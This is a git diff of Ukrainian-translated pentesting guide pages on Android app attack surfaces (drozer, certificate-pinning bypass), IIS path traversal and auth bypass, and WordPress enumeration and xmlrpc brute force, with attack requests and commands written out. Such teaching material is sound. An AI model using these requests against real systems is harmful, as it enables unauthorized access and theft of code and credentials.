Ці дозволяють іншим додаткам **виконувати дії від імені вашого додатку**, використовуючи ідентичність та дозволи вашого додатку. При створенні Pending Intent потрібно **вказати намір та дію, яку потрібно виконати**. Якщо **оголошений намір не є явним** (не вказує, який намір може його викликати), **зловмисний додаток може виконати оголошену дію** від імені жертви. Більше того, **якщо дія не вказана**, зловмисний додаток зможе виконати **будь-яку дію від імені жертви**.
|
||||
Ці дозволяють іншим додаткам **виконувати дії від імені вашого додатку**, використовуючи ідентичність та дозволи вашого додатку. Для створення Pending Intent потрібно **вказати намір та дію, яку потрібно виконати**. Якщо **оголошений намір не є явним** (не вказує, який намір може його викликати), **зловмисний додаток може виконати оголошену дію** від імені жертви. Більше того, **якщо дія не вказана**, зловмисний додаток зможе виконати **будь-яку дію від імені жертви**.
|
||||
|
||||
### Broadcast Intents
|
||||
|
||||
@ -169,15 +169,15 @@ context.startService(intent);
|
||||
|
||||
Альтернативно, також можливо **вказати дозвіл при відправці широкомовлення**. Додаток-отримувач повинен мати цей дозвіл.
|
||||
|
||||
Існує **два типи** широкомовлень: **Звичайні** (асинхронні) та **Упорядковані** (синхронні). **Порядок** базується на **налаштованому пріоритеті в елементі отримувача**. **Кожен додаток може обробляти, передавати або відхиляти широкомовлення.**
|
||||
Існує **два типи** широкомовлень: **Звичайні** (асинхронні) та **Упорядковані** (синхронні). **Порядок** базується на **налаштованому пріоритеті в елементі отримувача**. **Кожен додаток може обробляти, передавати або відкидати широкомовлення.**
|
||||
|
||||
Можна **відправити** **широкомовлення**, використовуючи функцію `sendBroadcast(intent, receiverPermission)` з класу `Context`.\
|
||||
Можна **відправити** **широкомовлення**, використовуючи функцію `sendBroadcast(intent, receiverPermission)` з класу `Context`.\
|
||||
Ви також можете використовувати функцію **`sendBroadcast`** з **`LocalBroadCastManager`**, яка забезпечує, що **повідомлення ніколи не покидає додаток**. Використовуючи це, вам навіть не потрібно експортувати компонент отримувача.
|
||||
|
||||
### Sticky Broadcasts
|
||||
|
||||
Цей вид широкомовлень **може бути доступний довго після їх відправлення**.\
|
||||
Вони були застарілі в рівні API 21, і рекомендується **не використовувати їх**.\
|
||||
Цей вид широкомовлень **може бути доступний довго після їх відправлення**.\
|
||||
Вони були застарілі в рівні API 21, і рекомендується **не використовувати їх**.\
|
||||
**Вони дозволяють будь-якому додатку підслуховувати дані, але також їх модифікувати.**
|
||||
|
||||
Якщо ви знайдете функції, що містять слово "sticky", такі як **`sendStickyBroadcast`** або **`sendStickyBroadcastAsUser`**, **перевірте вплив і спробуйте їх видалити**.
|
||||
@ -186,7 +186,7 @@ context.startService(intent);
|
||||
|
||||
У додатках Android **глибокі посилання** використовуються для ініціювання дії (Intent) безпосередньо через URL. Це робиться шляхом оголошення конкретної **схеми URL** в межах активності. Коли пристрій Android намагається **доступитися до URL з цією схемою**, вказана активність в додатку запускається.
|
||||
|
||||
Схема повинна бути оголошена у файлі **`AndroidManifest.xml`**:
|
||||
Схема повинна бути оголошена в **`AndroidManifest.xml`** файлі:
|
||||
```xml
|
||||
[...]
|
||||
<activity android:name=".MyActivity">
|
||||
@ -198,7 +198,7 @@ context.startService(intent);
|
||||
</intent-filter>
|
||||
[...]
|
||||
```
|
||||
Схема з попереднього прикладу - `examplescheme://` (також зверніть увагу на **`category BROWSABLE`**)
|
||||
Схема з попереднього прикладу - `examplescheme://` (також зверніть увагу на **`категорію BROWSABLE`**)
|
||||
|
||||
Тоді в полі даних ви можете вказати **host** та **path**:
|
||||
```xml
|
||||
@ -217,7 +217,7 @@ android:host="example"
|
||||
|
||||
## AIDL - Мова визначення інтерфейсу Android
|
||||
|
||||
**Мова визначення інтерфейсу Android (AIDL)** призначена для полегшення комунікації між клієнтом і сервісом в Android-додатках через **міжпроцесну комунікацію** (IPC). Оскільки безпосередній доступ до пам'яті іншого процесу не дозволений в Android, AIDL спрощує процес, перетворюючи об'єкти в формат, зрозумілий операційній системі, що полегшує комунікацію між різними процесами.
|
||||
**Мова визначення інтерфейсу Android (AIDL)** призначена для полегшення зв'язку між клієнтом і сервісом в Android-додатках через **міжпроцесорну комунікацію** (IPC). Оскільки безпосередній доступ до пам'яті іншого процесу не дозволений в Android, AIDL спрощує процес, перетворюючи об'єкти в формат, зрозумілий операційній системі, що полегшує комунікацію між різними процесами.
|
||||
|
||||
### Ключові концепції
|
||||
|
||||
@ -231,12 +231,12 @@ android:host="example"
|
||||
|
||||
До них відносяться: **Активності, Сервіси, Отримувачі трансляцій та Провайдери.**
|
||||
|
||||
### Активність запуску та інші активності
|
||||
### Запускова активність та інші активності
|
||||
|
||||
В Android-додатках **активності** подібні до екранів, що показують різні частини інтерфейсу користувача додатку. Додаток може мати багато активностей, кожна з яких представляє унікальний екран для користувача.
|
||||
|
||||
**Активність запуску** є основним шлюзом до додатку, яка запускається, коли ви натискаєте на іконку додатку. Вона визначена у файлі маніфесту додатку з конкретними MAIN та LAUNCHER намірами:
|
||||
```markup
|
||||
**Запускова активність** є основним шлюзом до додатку, яка запускається, коли ви натискаєте на іконку додатку. Вона визначена у файлі маніфесту додатку з конкретними MAIN та LAUNCHER намірами:
|
||||
```html
|
||||
<activity android:name=".LauncherActivity">
|
||||
<intent-filter>
|
||||
<action android:name="android.intent.action.MAIN" />
|
||||
@ -250,7 +250,7 @@ android:host="example"
|
||||
```markdown
|
||||
<service android:name=".ExampleExportedService" android:exported="true"/>
|
||||
```
|
||||
Однак доступ до активності з іншого додатку не завжди є ризиком для безпеки. Проблема виникає, якщо чутливі дані передаються неналежним чином, що може призвести до витоків інформації.
|
||||
Однак доступ до активності з іншого додатку не завжди є ризиком для безпеки. Проблема виникає, якщо чутливі дані передаються неналежним чином, що може призвести до витоку інформації.
|
||||
|
||||
Життєвий цикл активності **починається з методу onCreate**, налаштовуючи UI та готуючи активність для взаємодії з користувачем.
|
||||
|
||||
@ -274,9 +274,9 @@ super.onCreate();
|
||||
```
|
||||
### Services
|
||||
|
||||
[Services](https://developer.android.com/guide/components/services) є **фоновими операціями**, здатними виконувати завдання без інтерфейсу користувача. Ці завдання можуть продовжувати виконуватись навіть коли користувачі переходять до інших додатків, що робить сервіси важливими для **тривалих операцій**.
|
||||
[Services](https://developer.android.com/guide/components/services) є **фоновими операціями**, здатними виконувати завдання без інтерфейсу користувача. Ці завдання можуть продовжувати виконуватись навіть коли користувачі переходять до інших додатків, що робить сервіси критично важливими для **тривалих операцій**.
|
||||
|
||||
Сервіси універсальні; їх можна ініціювати різними способами, при цьому **Intents** є основним методом для їх запуску як точки входу додатку. Як тільки сервіс запущено за допомогою методу `startService`, його метод `onStart` активується і продовжує працювати, поки метод `stopService` не буде явно викликаний. Альтернативно, якщо роль сервісу залежить від активного з'єднання клієнта, використовується метод `bindService` для прив'язки клієнта до сервісу, активуючи метод `onBind` для передачі даних.
|
||||
Сервіси є універсальними; їх можна ініціювати різними способами, при цьому **Intents** є основним методом для їх запуску як точки входу додатку. Як тільки сервіс запущено за допомогою методу `startService`, його метод `onStart` активується і продовжує працювати, поки метод `stopService` не буде явно викликаний. Альтернативно, якщо роль сервісу залежить від активного з'єднання клієнта, використовується метод `bindService` для прив'язки клієнта до сервісу, активуючи метод `onBind` для передачі даних.
|
||||
|
||||
Цікаве застосування сервісів включає відтворення фонової музики або отримання мережевих даних без перешкоджання взаємодії користувача з додатком. Більше того, сервіси можуть бути доступні для інших процесів на тому ж пристрої через **експорт**. Це не є поведінкою за замовчуванням і вимагає явної конфігурації у файлі Android Manifest:
|
||||
```xml
|
||||
@ -286,7 +286,7 @@ super.onCreate();
|
||||
|
||||
**Broadcast receivers** діють як слухачі в системі обміну повідомленнями, дозволяючи кільком додаткам реагувати на одні й ті ж повідомлення з системи. Додаток може **зареєструвати приймач** **двома основними способами**: через **Manifest** додатка або **динамічно** в коді додатка за допомогою **`registerReceiver`** API. У Manifest трансляції фільтруються за допомогою дозволів, тоді як динамічно зареєстровані приймачі також можуть вказувати дозволи під час реєстрації.
|
||||
|
||||
**Intent filters** є важливими в обох методах реєстрації, визначаючи, які трансляції активують приймач. Коли надсилається відповідна трансляція, викликається метод **`onReceive`** приймача, що дозволяє додатку реагувати відповідно, наприклад, коригуючи поведінку у відповідь на сигнал про низький заряд батареї.
|
||||
**Intent filters** є важливими в обох методах реєстрації, визначаючи, які трансляції активують приймач. Коли надсилається відповідна трансляція, викликається метод **`onReceive`** приймача, що дозволяє додатку реагувати відповідно, наприклад, коригуючи поведінку у відповідь на сигнал про низький рівень заряду батареї.
|
||||
|
||||
Трансляції можуть бути **асинхронними**, досягаючи всіх приймачів без порядку, або **синхронними**, де приймачі отримують трансляцію на основі встановлених пріоритетів. Однак важливо зазначити потенційний ризик безпеки, оскільки будь-який додаток може пріоритизувати себе, щоб перехопити трансляцію.
|
||||
|
||||
@ -296,7 +296,7 @@ super.onCreate();
|
||||
|
||||
**Content Providers** є важливими для **обміну структурованими даними** між додатками, підкреслюючи важливість реалізації **дозволів** для забезпечення безпеки даних. Вони дозволяють додаткам отримувати доступ до даних з різних джерел, включаючи бази даних, файлові системи або веб. Специфічні дозволи, такі як **`readPermission`** і **`writePermission`**, є критично важливими для контролю доступу. Крім того, тимчасовий доступ може бути наданий через налаштування **`grantUriPermission`** у маніфесті додатка, використовуючи атрибути, такі як `path`, `pathPrefix` і `pathPattern` для детального контролю доступу.
|
||||
|
||||
Валідація введення є надзвичайно важливою для запобігання вразливостям, таким як SQL-ін'єкції. Content Providers підтримують основні операції: `insert()`, `update()`, `delete()`, і `query()`, полегшуючи маніпуляцію даними та обмін між додатками.
|
||||
Валідація введення є надзвичайно важливою для запобігання вразливостям, таким як SQL-ін'єкції. Content Providers підтримують основні операції: `insert()`, `update()`, `delete()` і `query()`, що полегшує маніпуляцію даними та обмін між додатками.
|
||||
|
||||
**FileProvider**, спеціалізований Content Provider, зосереджується на безпечному обміні файлами. Він визначається в маніфесті додатка з конкретними атрибутами для контролю доступу до папок, позначеними `android:exported` і `android:resource`, що вказують на конфігурації папок. Обережність рекомендується при обміні каталогами, щоб уникнути випадкового розкриття чутливих даних.
|
||||
|
||||
@ -327,18 +327,18 @@ WebViews - це **міні веб-браузери** всередині Android
|
||||
|
||||
Android пропонує два основних типи WebView:
|
||||
|
||||
- **WebViewClient** підходить для базового HTML, але не підтримує функцію JavaScript alert, що впливає на те, як можна тестувати XSS атаки.
|
||||
- **WebViewClient** підходить для базового HTML, але не підтримує функцію JavaScript alert, що впливає на те, як можна тестувати XSS-атаки.
|
||||
- **WebChromeClient** більше нагадує повний досвід браузера Chrome.
|
||||
|
||||
Ключовий момент полягає в тому, що браузери WebView **не ділять куки** з основним браузером пристрою.
|
||||
|
||||
Для завантаження контенту доступні методи, такі як `loadUrl`, `loadData` та `loadDataWithBaseURL`. Важливо переконатися, що ці URL або файли **безпечні для використання**. Налаштування безпеки можна керувати через клас `WebSettings`. Наприклад, вимкнення JavaScript за допомогою `setJavaScriptEnabled(false)` може запобігти XSS атакам.
|
||||
Для завантаження контенту доступні методи, такі як `loadUrl`, `loadData` та `loadDataWithBaseURL`. Важливо переконатися, що ці URL або файли є **безпечними для використання**. Налаштування безпеки можна керувати через клас `WebSettings`. Наприклад, вимкнення JavaScript за допомогою `setJavaScriptEnabled(false)` може запобігти XSS-атакам.
|
||||
|
||||
JavaScript "Bridge" дозволяє Java об'єктам взаємодіяти з JavaScript, вимагаючи, щоб методи були позначені `@JavascriptInterface` для безпеки з Android 4.2 і вище.
|
||||
|
||||
Дозволяючи доступ до контенту (`setAllowContentAccess(true)`), WebViews можуть отримувати доступ до Content Providers, що може бути ризиком, якщо URL контенту не перевірені на безпеку.
|
||||
Дозволяючи доступ до контенту (`setAllowContentAccess(true)`), WebViews можуть отримувати доступ до Content Providers, що може бути ризиком, якщо URL контенту не перевірені як безпечні.
|
||||
|
||||
Щоб контролювати доступ до файлів:
|
||||
Для контролю доступу до файлів:
|
||||
|
||||
- Вимкнення доступу до файлів (`setAllowFileAccess(false)`) обмежує доступ до файлової системи, з винятками для певних активів, забезпечуючи їх використання лише для не чутливого контенту.
|
||||
|
||||
@ -346,7 +346,7 @@ JavaScript "Bridge" дозволяє Java об'єктам взаємодіяти
|
||||
|
||||
### **Цифровий підпис додатків**
|
||||
|
||||
- **Цифровий підпис** є обов'язковим для Android додатків, забезпечуючи їх **автентичність** перед установкою. Цей процес використовує сертифікат для ідентифікації додатка і повинен бути перевірений менеджером пакетів пристрою під час установки. Додатки можуть бути **самопідписаними або сертифікованими зовнішнім CA**, що захищає від несанкціонованого доступу та забезпечує, щоб додаток залишався незмінним під час доставки на пристрій.
|
||||
- **Цифровий підпис** є обов'язковим для Android додатків, забезпечуючи їх **автентичне авторство** перед установкою. Цей процес використовує сертифікат для ідентифікації додатка і повинен бути перевірений менеджером пакетів пристрою під час установки. Додатки можуть бути **самопідписаними або сертифікованими зовнішнім CA**, захищаючи від несанкціонованого доступу та забезпечуючи, щоб додаток залишався незмінним під час доставки на пристрій.
|
||||
|
||||
### **Перевірка додатків для підвищення безпеки**
|
||||
|
||||
|
@ -25,7 +25,7 @@ adb install drozer.apk
|
||||
```
|
||||
### Запуск сервера
|
||||
|
||||
Агент працює на порту 31415, нам потрібно [port forward](https://en.wikipedia.org/wiki/Port_forwarding), щоб встановити зв'язок між клієнтом Drozer та агентом, ось команда для цього:
|
||||
Агент працює на порту 31415, нам потрібно [port forward](https://en.wikipedia.org/wiki/Port_forwarding), щоб встановити зв'язок між Drozer Client та Agent, ось команда для цього:
|
||||
```bash
|
||||
adb forward tcp:31415 tcp:31415
|
||||
```
|
||||
@ -42,12 +42,12 @@ drozer console connect
|
||||
| **Команди** | **Опис** |
|
||||
| --------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ |
|
||||
| **Help MODULE** | Показує допомогу вибраного модуля |
|
||||
| **list** | Показує список усіх модулів drozer, які можна виконати в поточній сесії. Це приховує модулі, для яких у вас немає відповідних дозволів на виконання. |
|
||||
| **shell** | Запускає інтерактивну оболонку Linux на пристрої в контексті Агенту. |
|
||||
| **clean** | Видаляє тимчасові файли, збережені drozer на Android-пристрої. |
|
||||
| **load** | Завантажує файл, що містить команди drozer, і виконує їх послідовно. |
|
||||
| **module** | Знаходить і встановлює додаткові модулі drozer з Інтернету. |
|
||||
| **unset** | Видаляє названу змінну, яку drozer передає будь-яким оболонкам Linux, які він створює. |
|
||||
| **list** | Показує список усіх модулів drozer, які можна виконати в поточній сесії. Це приховує модулі, які ви не маєте відповідних прав для виконання. |
|
||||
| **shell** | Запускає інтерактивну оболонку Linux на пристрої в контексті Агенту. |
|
||||
| **clean** | Видаляє тимчасові файли, збережені drozer на Android-пристрої. |
|
||||
| **load** | Завантажує файл, що містить команди drozer, і виконує їх послідовно. |
|
||||
| **module** | Знаходить і встановлює додаткові модулі drozer з Інтернету. |
|
||||
| **unset** | Видаляє названу змінну, яку drozer передає будь-яким оболонкам Linux, які він створює. |
|
||||
| **set** | Зберігає значення в змінній, яка буде передана як змінна середовища будь-яким оболонкам Linux, створеним drozer. |
|
||||
| **shell** | Запускає інтерактивну оболонку Linux на пристрої в контексті Агенту |
|
||||
| **run MODULE** | Виконує модуль drozer |
|
||||
@ -56,7 +56,7 @@ drozer console connect
|
||||
|
||||
### Пакет
|
||||
|
||||
Знайдіть **ім'я** пакета, фільтруючи за частиною імені:
|
||||
Знайдіть **ім'я** пакету, фільтруючи за частиною імені:
|
||||
```bash
|
||||
dz> run app.package.list -f sieve
|
||||
com.mwr.example.sieve
|
||||
@ -95,15 +95,15 @@ Attack Surface:
|
||||
2 services exported
|
||||
is debuggable
|
||||
```
|
||||
- **Дії**: Можливо, ви можете розпочати дію та обійти певний вид авторизації, яка повинна заважати вам її запускати.
|
||||
- **Постачальники контенту**: Можливо, ви можете отримати доступ до приватних даних або експлуатувати певну вразливість (SQL Injection або Path Traversal).
|
||||
- **Дії**: Можливо, ви можете розпочати дію та обійти якусь авторизацію, яка повинна заважати вам її запускати.
|
||||
- **Постачальники контенту**: Можливо, ви можете отримати доступ до приватних даних або експлуатувати якусь вразливість (SQL Injection або Path Traversal).
|
||||
- **Сервіси**:
|
||||
- **is debuggable**: [Дізнатися більше](#is-debuggeable)
|
||||
|
||||
### Дії
|
||||
|
||||
Значення “android:exported” експортованого компонента дії встановлено на **“true”** у файлі AndroidManifest.xml:
|
||||
```markup
|
||||
```html
|
||||
<activity android:name="com.my.app.Initial" android:exported="true">
|
||||
</activity>
|
||||
```
|
||||
@ -135,7 +135,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
### Services
|
||||
|
||||
Експортована служба оголошується в Manifest.xml:
|
||||
```markup
|
||||
```html
|
||||
<service android:name=".AuthService" android:exported="true" android:process=":remote"/>
|
||||
```
|
||||
У коді **перевірте** функцію **`handleMessage`**, яка буде **отримувати** **повідомлення**:
|
||||
@ -179,7 +179,7 @@ run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --m
|
||||
|
||||
### Broadcast Receivers
|
||||
|
||||
**У розділі основної інформації Android ви можете побачити, що таке Broadcast Receiver**.
|
||||
**У розділі основної інформації про Android ви можете побачити, що таке Broadcast Receiver**.
|
||||
|
||||
Після виявлення цих Broadcast Receivers вам слід **перевірити код** цих компонентів. Зверніть особливу увагу на функцію **`onReceive`**, оскільки вона оброблятиме отримані повідомлення.
|
||||
|
||||
@ -229,7 +229,7 @@ run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --compo
|
||||
### Чи є можливість налагодження
|
||||
|
||||
Продуктова APK ніколи не повинна бути налагоджуваною.\
|
||||
Це означає, що ви можете **підключити java налагоджувач** до запущеного додатку, перевірити його в режимі виконання, встановити точки зупинки, крок за кроком, збирати значення змінних і навіть змінювати їх. [InfoSec institute має відмінну статтю](../exploiting-a-debuggeable-applciation.md) про те, як глибше дослідити, коли ваш додаток є налагоджуваним і впроваджувати код під час виконання.
|
||||
Це означає, що ви можете **підключити java налагоджувач** до запущеного додатку, перевірити його в режимі виконання, встановити точки зупинки, крок за кроком, збирати значення змінних і навіть змінювати їх. [InfoSec institute має відмінну статтю](../exploiting-a-debuggeable-applciation.md) про те, як заглибитися, коли ваш додаток є налагоджуваним і впроваджувати код під час виконання.
|
||||
|
||||
Коли додаток є налагоджуваним, він з'явиться в Маніфесті:
|
||||
```xml
|
||||
|
@ -1,6 +1,6 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Деякі програми не приймають сертифікати, завантажені користувачем, тому для перевірки веб-трафіку для деяких додатків нам насправді потрібно декомпілювати додаток, додати кілька речей і знову скомпілювати його.
|
||||
Деякі програми не приймають сертифікати, завантажені користувачем, тому для аналізу веб-трафіку для деяких додатків нам насправді потрібно декомпілювати додаток, додати кілька речей і знову скомпілювати його.
|
||||
|
||||
# Автоматичний
|
||||
|
||||
@ -12,7 +12,7 @@
|
||||
|
||||

|
||||
|
||||
Потім ми відкриваємо файл **Manifest.xml** і прокручуємо вниз до тегу `<\application android>` і додамо наступний рядок, якщо його ще немає:
|
||||
Потім ми відкриваємо файл **Manifest.xml** і прокручуємо до тегу `<\application android>`, і ми додамо наступний рядок, якщо його ще немає:
|
||||
|
||||
`android:networkSecurityConfig="@xml/network_security_config"`
|
||||
|
||||
@ -24,8 +24,8 @@
|
||||
|
||||

|
||||
|
||||
Тепер перейдіть до папки **res/xml** і створіть/змініть файл з назвою network_security_config.xml з наступним вмістом:
|
||||
```markup
|
||||
Тепер перейдіть до папки **res/xml** і створіть/відредагуйте файл з назвою network_security_config.xml з наступним вмістом:
|
||||
```html
|
||||
<network-security-config>
|
||||
<base-config>
|
||||
<trust-anchors>
|
||||
@ -41,6 +41,6 @@
|
||||
|
||||

|
||||
|
||||
Нарешті, вам просто потрібно **підписати новий додаток**. [Прочитайте цей розділ сторінки Smali - Декомпіляція/\[Модифікація\]/Компіліція, щоб дізнатися, як його підписати](smali-changes.md#sing-the-new-apk).
|
||||
Нарешті, вам просто потрібно **підписати новий додаток**. [Прочитайте цей розділ сторінки Smali - Decompiling/\[Modifying\]/Compiling, щоб дізнатися, як його підписати](smali-changes.md#sing-the-new-apk).
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -59,16 +59,16 @@ iisfinal.txt
|
||||
Перевірте повний опис у: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
|
||||
|
||||
> [!NOTE]
|
||||
> Як підсумок, існує кілька web.config файлів всередині папок програми з посиланнями на "**assemblyIdentity**" файли та "**namespaces**". З цією інформацією можливо дізнатися **де розташовані виконувані файли** та завантажити їх.\
|
||||
> З **завантажених Dlls** також можливо знайти **нові простори імен**, до яких слід спробувати отримати доступ і отримати web.config файл, щоб знайти нові простори імен та assemblyIdentity.\
|
||||
> Як підсумок, існує кілька web.config файлів всередині папок програми з посиланнями на "**assemblyIdentity**" файли та "**namespaces**". З цією інформацією можна дізнатися **де розташовані виконувані файли** та завантажити їх.\
|
||||
> З **завантажених Dlls** також можна знайти **нові простори імен**, до яких слід спробувати отримати доступ і отримати файл web.config, щоб знайти нові простори імен та assemblyIdentity.\
|
||||
> Також файли **connectionstrings.config** та **global.asax** можуть містити цікаву інформацію.
|
||||
|
||||
У **.Net MVC додатках** файл **web.config** відіграє важливу роль, вказуючи на кожен бінарний файл, на який покладається програма через XML теги **"assemblyIdentity"**.
|
||||
У **.Net MVC додатках** файл **web.config** відіграє важливу роль, вказуючи на кожен бінарний файл, на який покладається програма, через XML теги **"assemblyIdentity"**.
|
||||
|
||||
### **Дослідження бінарних файлів**
|
||||
|
||||
Приклад доступу до файлу **web.config** показано нижче:
|
||||
```markup
|
||||
```html
|
||||
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
|
||||
Host: example-mvc-application.minded
|
||||
```
|
||||
@ -88,15 +88,15 @@ Host: example-mvc-application.minded
|
||||
|
||||
### **Простори імен та Web.Config**
|
||||
|
||||
Додатки MVC також визначають додаткові **web.config файли** для специфічних просторів імен, щоб уникнути повторюваних декларацій у кожному файлі, як це продемонстровано з запитом на завантаження іншого **web.config**:
|
||||
```markup
|
||||
MVC програми також визначають додаткові **web.config файли** для специфічних просторів імен, щоб уникнути повторюваних декларацій у кожному файлі, як показано на прикладі запиту на завантаження іншого **web.config**:
|
||||
```html
|
||||
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
|
||||
Host: example-mvc-application.minded
|
||||
```
|
||||
### **Завантаження DLL**
|
||||
|
||||
Згадка про власний простір імен вказує на наявність DLL з назвою "**WebApplication1**" у каталозі /bin. Після цього показано запит на завантаження **WebApplication1.dll**:
|
||||
```markup
|
||||
```html
|
||||
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
|
||||
Host: example-mvc-application.minded
|
||||
```
|
||||
@ -190,7 +190,7 @@ C:\xampp\tomcat\conf\server.xml
|
||||
 (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
|
||||
|
||||
Це означає, що сервер **не отримав правильне ім'я домену** в заголовку Host.\
|
||||
Щоб отримати доступ до веб-сторінки, ви можете подивитися на виданий **SSL сертифікат**, і, можливо, ви зможете знайти ім'я домену/субдомену там. Якщо його там немає, вам, можливо, потрібно буде **брутфорсити VHosts**, поки ви не знайдете правильний.
|
||||
Щоб отримати доступ до веб-сторінки, ви можете подивитися на виданий **SSL сертифікат**, і, можливо, ви знайдете ім'я домену/субдомену там. Якщо його там немає, вам, можливо, потрібно буде **брутфорсити VHosts**, поки не знайдете правильний.
|
||||
|
||||
## Старі вразливості IIS, на які варто звернути увагу
|
||||
|
||||
@ -236,12 +236,12 @@ ASPXAUTH використовує таку інформацію:
|
||||
- **`decryptionIV`** (рядок): шістнадцятковий ініціалізаційний вектор (за замовчуванням вектор нулів).
|
||||
- **`decryptionKey`** (рядок): шістнадцятковий ключ для використання для розшифрування.
|
||||
|
||||
Однак деякі люди використовують **значення за замовчуванням** цих параметрів і використовують як **куку електронну пошту користувача**. Тому, якщо ви зможете знайти веб-сайт, що використовує **ту ж платформу**, яка використовує куку ASPXAUTH, і ви **створите користувача з електронною поштою користувача, якого хочете видати** на сервері під атакою, ви зможете **використати куку з другого сервера на першому** і видати себе за користувача.\
|
||||
Однак деякі люди використовують **значення за замовчуванням** цих параметрів і використовують як **куку електронну пошту користувача**. Тому, якщо ви можете знайти веб-сайт, що використовує **ту ж платформу**, яка використовує куку ASPXAUTH, і ви **створите користувача з електронною поштою користувача, якого ви хочете видати** на сервері під атакою, ви можете використовувати **куку з другого сервера на першому** і видати себе за користувача.\
|
||||
Цей напад спрацював у цьому [**описі**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19).
|
||||
|
||||
## Обхід аутентифікації IIS з кешованими паролями (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
|
||||
|
||||
[Повний звіт тут](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): Помилка в коді **не перевіряла належним чином пароль, наданий користувачем**, тому зловмисник, чий **хеш пароля потрапляє в ключ**, який вже є в **кеші**, зможе увійти як цей користувач.
|
||||
[Повний звіт тут](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): Помилка в коді **неправильно перевіряла пароль, наданий користувачем**, тому зловмисник, чий **хеш пароля потрапляє в ключ**, який вже є в **кеші**, зможе увійти як цей користувач.
|
||||
```python
|
||||
# script for sanity check
|
||||
> type test.py
|
||||
|
@ -24,9 +24,9 @@
|
||||
- `/wp-login.php`
|
||||
- `xmlrpc.php` - це файл, який представляє функцію WordPress, що дозволяє передавати дані з HTTP, що діє як механізм транспорту, а XML - як механізм кодування. Цей тип зв'язку був замінений на [REST API](https://developer.wordpress.org/rest-api/reference) WordPress.
|
||||
- Папка `wp-content` є основним каталогом, де зберігаються плагіни та теми.
|
||||
- `wp-content/uploads/` Це каталог, де зберігаються всі файли, завантажені на платформу.
|
||||
- `wp-includes/` Це каталог, де зберігаються основні файли, такі як сертифікати, шрифти, JavaScript файли та віджети.
|
||||
- `wp-sitemap.xml` У версіях WordPress 5.5 і вище WordPress генерує XML файл карти сайту з усіма публічними постами та публічно запитуваними типами постів і таксономіями.
|
||||
- `wp-content/uploads/` - це каталог, де зберігаються всі файли, завантажені на платформу.
|
||||
- `wp-includes/` - це каталог, де зберігаються основні файли, такі як сертифікати, шрифти, JavaScript файли та віджети.
|
||||
- `wp-sitemap.xml` У версіях WordPress 5.5 і вище, WordPress генерує XML файл карти сайту з усіма публічними постами та публічно запитуваними типами постів і таксономіями.
|
||||
|
||||
**Пост експлуатація**
|
||||
|
||||
@ -72,7 +72,7 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
|
||||
```bash
|
||||
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
```
|
||||
### Витягування версій загалом
|
||||
### Витяг версій загалом
|
||||
```bash
|
||||
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
|
||||
@ -81,11 +81,11 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
|
||||
|
||||
### Плагіни та Теми
|
||||
|
||||
Ви, напевно, не зможете знайти всі можливі Плагіни та Теми. Щоб виявити їх усі, вам потрібно буде **активно здійснити Брутфорс списку Плагінів та Тем** (на щастя, для нас є автоматизовані інструменти, які містять ці списки).
|
||||
Ви, ймовірно, не зможете знайти всі можливі Плагіни та Теми. Щоб виявити їх усі, вам потрібно буде **активно Брутфорсити список Плагінів та Тем** (на щастя, для нас є автоматизовані інструменти, які містять ці списки).
|
||||
|
||||
### Користувачі
|
||||
|
||||
- **ID Брут:** Ви отримуєте дійсних користувачів з сайту WordPress, здійснюючи Брутфорс ID користувачів:
|
||||
- **ID Брут:** Ви отримуєте дійсних користувачів з сайту WordPress, Брутфорсуючи ID користувачів:
|
||||
```bash
|
||||
curl -s -I -X GET http://blog.example.com/?author=1
|
||||
```
|
||||
@ -107,12 +107,12 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
|
||||
### XML-RPC
|
||||
|
||||
Якщо `xml-rpc.php` активний, ви можете виконати брутфорс облікових даних або використовувати його для запуску DoS-атак на інші ресурси. (Ви можете автоматизувати цей процес[ використовуючи це](https://github.com/relarizky/wpxploit) наприклад).
|
||||
Якщо `xml-rpc.php` активний, ви можете виконати брутфорс облікових даних або використовувати його для запуску DoS-атак на інші ресурси. (Ви можете автоматизувати цей процес[ використовуючи це](https://github.com/relarizky/wpxploit), наприклад).
|
||||
|
||||
Щоб перевірити, чи активний, спробуйте отримати доступ до _**/xmlrpc.php**_ і надішліть цей запит:
|
||||
|
||||
**Перевірити**
|
||||
```markup
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>system.listMethods</methodName>
|
||||
<params></params>
|
||||
@ -123,7 +123,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
**Брутфорс облікових даних**
|
||||
|
||||
